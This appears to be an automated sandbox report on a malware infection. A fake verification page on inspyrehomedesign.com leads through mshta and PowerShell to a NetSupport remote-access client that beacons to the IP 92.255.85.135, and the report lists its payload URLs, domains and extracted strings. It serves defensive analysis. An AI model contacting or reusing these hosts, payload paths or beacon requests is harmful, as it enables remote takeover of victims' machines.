Source: global traffic	DNS traffic detected: DNS query: inspyrehomedesign.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: i.ibb.co
Source: global traffic	DNS traffic detected: DNS query: traversecityspringbreak.com
Source: global traffic	DNS traffic detected: DNS query: geo.netsupportsoftware.com

Source: unknown

HTTP traffic detected: POST http://92.255.85.135/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 92.255.85.135Connection: Keep-AliveCMD=POLLINFO=1ACK=1Data Raw: Data Ascii:

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Mon, 28 Oct 2024 18:45:15 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 284Connection: close

Source: client32.exe, client32.exe, 00000015.00000002.2427569432.000000006C640000.00000002.00000001.01000000.00000013.sdmp, HTCTL32.DLL.12.dr	String found in binary or memory: http://%s/fakeurl.htm
Source: client32.exe, client32.exe, 00000015.00000002.2427569432.000000006C640000.00000002.00000001.01000000.00000013.sdmp, HTCTL32.DLL.12.dr	String found in binary or memory: http://%s/testpage.htm
Source: client32.exe, 00000015.00000002.2427569432.000000006C640000.00000002.00000001.01000000.00000013.sdmp, HTCTL32.DLL.12.dr	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: client32.exe, client32.exe, 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	String found in binary or memory: http://127.0.0.1
Source: client32.exe, 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: powershell.exe, 0000000C.00000002.1977374778.000002F2021A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2020EF000.00000004.00000800.00020000.00000000.sdmp, remcmdstub.exe.12.dr, client32.exe.12.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: powershell.exe, 0000000C.00000002.1977374778.000002F2021A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2020EF000.00000004.00000800.00020000.00000000.sdmp, remcmdstub.exe.12.dr, client32.exe.12.dr	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: powershell.exe, 0000000C.00000002.1977374778.000002F2021A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2020EF000.00000004.00000800.00020000.00000000.sdmp, remcmdstub.exe.12.dr, client32.exe.12.dr	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0$
Source: remcmdstub.exe.12.dr, client32.exe.12.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: powershell.exe, 0000000C.00000002.1977374778.000002F2021A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2020EF000.00000004.00000800.00020000.00000000.sdmp, remcmdstub.exe.12.dr, client32.exe.12.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: powershell.exe, 0000000C.00000002.2018709421.000002F279A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: chromecache_83.1.dr	String found in binary or memory: http://fontawesome.com
Source: chromecache_83.1.dr	String found in binary or memory: http://fontawesome.com/license
Source: client32.exe, 00000015.00000003.2277891273.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, client32.exe, 00000015.00000002.2418160044.00000000061A2000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000015.00000002.2417429700.0000000006110000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000015.00000003.2277891273.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, PCICL32.DLL.12.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: client32.exe, 00000015.00000002.2418160044.00000000061A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp1j
Source: client32.exe, 00000015.00000002.2417429700.0000000006110000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspD
Source: client32.exe, 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: client32.exe, 00000015.00000003.2277891273.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asphn
Source: powershell.exe, 0000000C.00000002.2011951167.000002F210073000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2011951167.000002F2101B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000C.00000002.1977374778.000002F2021A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2020EF000.00000004.00000800.00020000.00000000.sdmp, remcmdstub.exe.12.dr, client32.exe.12.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: powershell.exe, 0000000C.00000002.1977374778.000002F2021A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2020EF000.00000004.00000800.00020000.00000000.sdmp, remcmdstub.exe.12.dr, client32.exe.12.dr	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: powershell.exe, 0000000C.00000002.1977374778.000002F2021A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2020EF000.00000004.00000800.00020000.00000000.sdmp, remcmdstub.exe.12.dr, client32.exe.12.dr	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: remcmdstub.exe.12.dr, client32.exe.12.dr	String found in binary or memory: http://ocsp.globalsign.com/rootr30;
Source: powershell.exe, 0000000C.00000002.1977374778.000002F2021A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2020EF000.00000004.00000800.00020000.00000000.sdmp, remcmdstub.exe.12.dr, client32.exe.12.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: powershell.exe, 0000000C.00000002.1977374778.000002F200222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201C6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F202118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.12.dr, HTCTL32.DLL.12.dr, PCICHEK.DLL.12.dr, TCCTL32.DLL.12.dr, PCICL32.DLL.12.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201C6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F202118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.12.dr, HTCTL32.DLL.12.dr, PCICHEK.DLL.12.dr, TCCTL32.DLL.12.dr, PCICL32.DLL.12.dr	String found in binary or memory: http://s2.symcb.com0
Source: powershell.exe, 0000000C.00000002.1977374778.000002F200001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000C.00000002.1977374778.000002F2021A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2020EF000.00000004.00000800.00020000.00000000.sdmp, remcmdstub.exe.12.dr, client32.exe.12.dr	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: powershell.exe, 0000000C.00000002.1977374778.000002F2021A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2020EF000.00000004.00000800.00020000.00000000.sdmp, remcmdstub.exe.12.dr, client32.exe.12.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: powershell.exe, 0000000C.00000002.1977374778.000002F2021A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2020EF000.00000004.00000800.00020000.00000000.sdmp, remcmdstub.exe.12.dr, client32.exe.12.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: remcmdstub.exe.12.dr, client32.exe.12.dr	String found in binary or memory: http://secure.globalsign.com/cacert/root-r3.crt06
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201C6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F202118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.12.dr, HTCTL32.DLL.12.dr, PCICHEK.DLL.12.dr, TCCTL32.DLL.12.dr, PCICL32.DLL.12.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201C6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F202118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.12.dr, HTCTL32.DLL.12.dr, PCICHEK.DLL.12.dr, TCCTL32.DLL.12.dr, PCICL32.DLL.12.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201C6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F202118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.12.dr, HTCTL32.DLL.12.dr, PCICHEK.DLL.12.dr, TCCTL32.DLL.12.dr, PCICL32.DLL.12.dr	String found in binary or memory: http://sv.symcd.com0&
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201C33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2021A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2020EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F200222000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F200E4D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F202118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201A68000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://traversecityspringbreak.com
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://traversecityspringbreak.com/o/1.png
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://traversecityspringbreak.com/o/10.png
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F202118000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://traversecityspringbreak.com/o/11.png
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://traversecityspringbreak.com/o/12.png
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://traversecityspringbreak.com/o/2.png
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://traversecityspringbreak.com/o/3.png
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://traversecityspringbreak.com/o/4.png
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://traversecityspringbreak.com/o/5.png
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://traversecityspringbreak.com/o/6.png
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://traversecityspringbreak.com/o/7.png
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://traversecityspringbreak.com/o/8.png
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://traversecityspringbreak.com/o/9.png
Source: powershell.exe, 0000000C.00000002.2015699992.000002F277C89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://traversecityspringbreak.com/o/o.png
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://traversecityspringbreak.comp
Source: powershell.exe, 0000000C.00000002.1977374778.000002F200222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: client32.exe, 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: client32.exe, 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp11(
Source: client32.exe, 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	String found in binary or memory: http://www.pci.co.uk/support
Source: client32.exe, 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	String found in binary or memory: http://www.pci.co.uk/supportsupport
Source: mshta.exe, 0000000B.00000003.1756113861.00000254956E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1757874634.0000025C98246000.00000004.00000020.00020000.00000000.sdmp, Ray-verify[1].htm.11.dr, chromecache_88.1.dr	String found in binary or memory: http://www.protware.com
Source: mshta.exe, 0000000B.00000002.1767795536.0000025C9A7ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.protware.com/
Source: mshta.exe, 0000000B.00000002.1766417078.0000025C98228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.protware.com/#
Source: mshta.exe, 0000000B.00000002.1767795536.0000025C9A7ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.protware.comv1
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201C6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F202118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.12.dr, HTCTL32.DLL.12.dr, PCICHEK.DLL.12.dr, TCCTL32.DLL.12.dr, PCICL32.DLL.12.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201C6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F202118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.12.dr, HTCTL32.DLL.12.dr, PCICHEK.DLL.12.dr, TCCTL32.DLL.12.dr, PCICL32.DLL.12.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: powershell.exe, 0000000C.00000002.1977374778.000002F200001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000C.00000002.2011951167.000002F2101B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000C.00000002.2011951167.000002F2101B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000C.00000002.2011951167.000002F2101B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201C6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F202118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.12.dr, HTCTL32.DLL.12.dr, PCICHEK.DLL.12.dr, TCCTL32.DLL.12.dr, PCICL32.DLL.12.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: powershell.exe, 0000000C.00000002.1977374778.000002F201C6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F202118000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp, pcicapi.dll.12.dr, HTCTL32.DLL.12.dr, PCICHEK.DLL.12.dr, TCCTL32.DLL.12.dr, PCICL32.DLL.12.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: powershell.exe, 0000000C.00000002.1977374778.000002F200222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000C.00000002.1977374778.000002F200E4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: mshta.exe, 0000000B.00000003.1754052236.0000025495669000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.1764062895.0000025495669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://inspyrehomedesign.com/N
Source: mshta.exe, 0000000B.00000002.1763511986.00000254955F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.1765173131.00000254958C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.1764062895.0000025495638000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.1763718088.000002549561F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1754052236.0000025495669000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.1764062895.0000025495669000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1754052236.0000025495632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://inspyrehomedesign.com/Ray-verify.html
Source: mshta.exe, 0000000B.00000002.1765266374.0000025495940000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.1768096542.0000025C9C990000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://inspyrehomedesign.com/Ray-verify.html#?
Source: mshta.exe, 0000000B.00000002.1766417078.0000025C98228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://inspyrehomedesign.com/Ray-verify.html...I
Source: mshta.exe, 0000000B.00000002.1766417078.0000025C98228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://inspyrehomedesign.com/Ray-verify.html...P
Source: mshta.exe, 0000000B.00000003.1759981197.0000025C9831D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://inspyrehomedesign.com/Ray-verify.htmlEOBsOVUOCByEBKVfVxgwGKHgImTJOhITa
Source: mshta.exe, 0000000B.00000003.1754052236.0000025495669000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.1764062895.0000025495669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://inspyrehomedesign.com/Ray-verify.htmlINetCookies
Source: mshta.exe, 0000000B.00000002.1767795536.0000025C9A7ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://inspyrehomedesign.com/Ray-verify.htmlVVC:
Source: mshta.exe, 0000000B.00000002.1764062895.0000025495638000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1754052236.0000025495632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://inspyrehomedesign.com/Ray-verify.html_
Source: mshta.exe, 0000000B.00000002.1764062895.0000025495638000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1754052236.0000025495632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://inspyrehomedesign.com/Ray-verify.htmld
Source: mshta.exe, 0000000B.00000002.1764062895.0000025495638000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1754052236.0000025495632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://inspyrehomedesign.com/Ray-verify.htmldV
Source: mshta.exe, 0000000B.00000003.1759981197.0000025C98313000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://inspyrehomedesign.com/Ray-verify.htmlhttps://inspyrehomedesign.com/Ray-verify.html
Source: mshta.exe, 0000000B.00000003.1762856955.0000025495615000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.1763718088.0000025495627000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://inspyrehomedesign.com/Ray-verify.htmlp
Source: mshta.exe, 0000000B.00000003.1762367642.0000025495694000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1754052236.0000025495669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://inspyrehomedesign.com/m
Source: mshta.exe, 0000000B.00000003.1762367642.0000025495694000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1754052236.0000025495669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 0000000C.00000002.2011951167.000002F210073000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2011951167.000002F2101B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000C.00000002.1977374778.000002F2021A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1977374778.000002F2020EF000.00000004.00000800.00020000.00000000.sdmp, remcmdstub.exe.12.dr, client32.exe.12.dr	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.1.160.75:443 -> 192.168.2.16:49724 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_1101F6B0 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,

21_2_1101F6B0

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_1101F6B0 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,

21_2_1101F6B0

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_110321E0 GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalFree,

21_2_110321E0

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

